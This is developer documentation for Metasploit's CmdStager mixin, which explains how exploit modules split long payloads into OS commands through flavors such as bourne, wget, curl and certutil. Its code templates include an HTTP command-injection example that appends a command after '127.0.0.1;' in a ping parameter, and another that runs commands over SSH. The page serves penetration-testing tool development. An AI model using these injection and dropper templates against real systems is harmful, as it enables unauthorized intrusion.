CmdStager
Msf::Exploit::CmdStager divides a long payload into multiple OS commands for delivery to the target. The module only needs to implement execute_command to send one command. Its implementation is lib/msf/core/exploit/cmd_stager.rb.
Include and responsibilities
Section titled “Include and responsibilities”include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStager
def execute_command(cmd, _opts = {}) # Send cmd to the target's injection pointend
def exploit execute_cmdstager(linemax: 1500)endThe mixin’s default execute_command raises NotImplementedError. Always override it.
flavor
Section titled “flavor”Choose a flavor through the target or when calling the stager. Common examples:
| Flavor | Suitable for |
|---|---|
bourne | Linux / Unix shells |
echo / printf | Writing small fragments on Unix |
vbs | Older Windows systems |
certutil | Windows |
tftp / wget / curl | Environments with download tools |
'Targets' => [ [ 'Linux Command', { 'Platform' => 'linux', 'Arch' => [ARCH_CMD] } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'CmdStagerFlavor' => ['bourne', 'wget', 'curl'] } ]]Example: HTTP injection
Section titled “Example: HTTP injection”def filter_bad_chars(cmd) cmd.gsub(/&/, '%26')end
def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'ping'), 'vars_get' => { 'ip' => "127.0.0.1;#{filter_bad_chars(cmd)}" } )end
def exploit if target['Arch'] == ARCH_CMD execute_command(payload.encoded) else execute_cmdstager(linemax: 1500, background: true) endendExample: SSH
Section titled “Example: SSH”This follows the approach in modules/exploits/multi/ssh/sshexec.rb.
def execute_command(cmd, _opts = {}) vprint_status("Executing #{cmd}") ssh_socket.exec!(cmd)endInvocation options
Section titled “Invocation options”execute_cmdstager( flavor: :bourne, linemax: 1500, background: true, temp: '/tmp', noconcat: false)| Argument | Meaning |
|---|---|
flavor | Staging method |
linemax | Maximum length of one command |
background | Prefer to run the final command in the background |
temp | Temporary directory |
If one command is enough, execute_command(payload.encoded) is sufficient. Use CmdStager when the payload will not fit in a single command.
Common patterns
Section titled “Common patterns”| Pattern | Implementation note |
|---|---|
| Command payload only | execute_command(payload.encoded); CmdStager is often unnecessary |
| Linux dropper | bourne / curl / wget in CmdStagerFlavor, then execute_cmdstager |
| Windows dropper | vbs / certutil and similar methods; keep linemax short |
| Over SSH | Use ssh_socket.exec!(cmd) inside execute_command |
| Many bad characters | filter_bad_chars + Payload => BadChars |
| Background execution | execute_cmdstager(background: true) |
For details on writing execute_command, see execute_command.

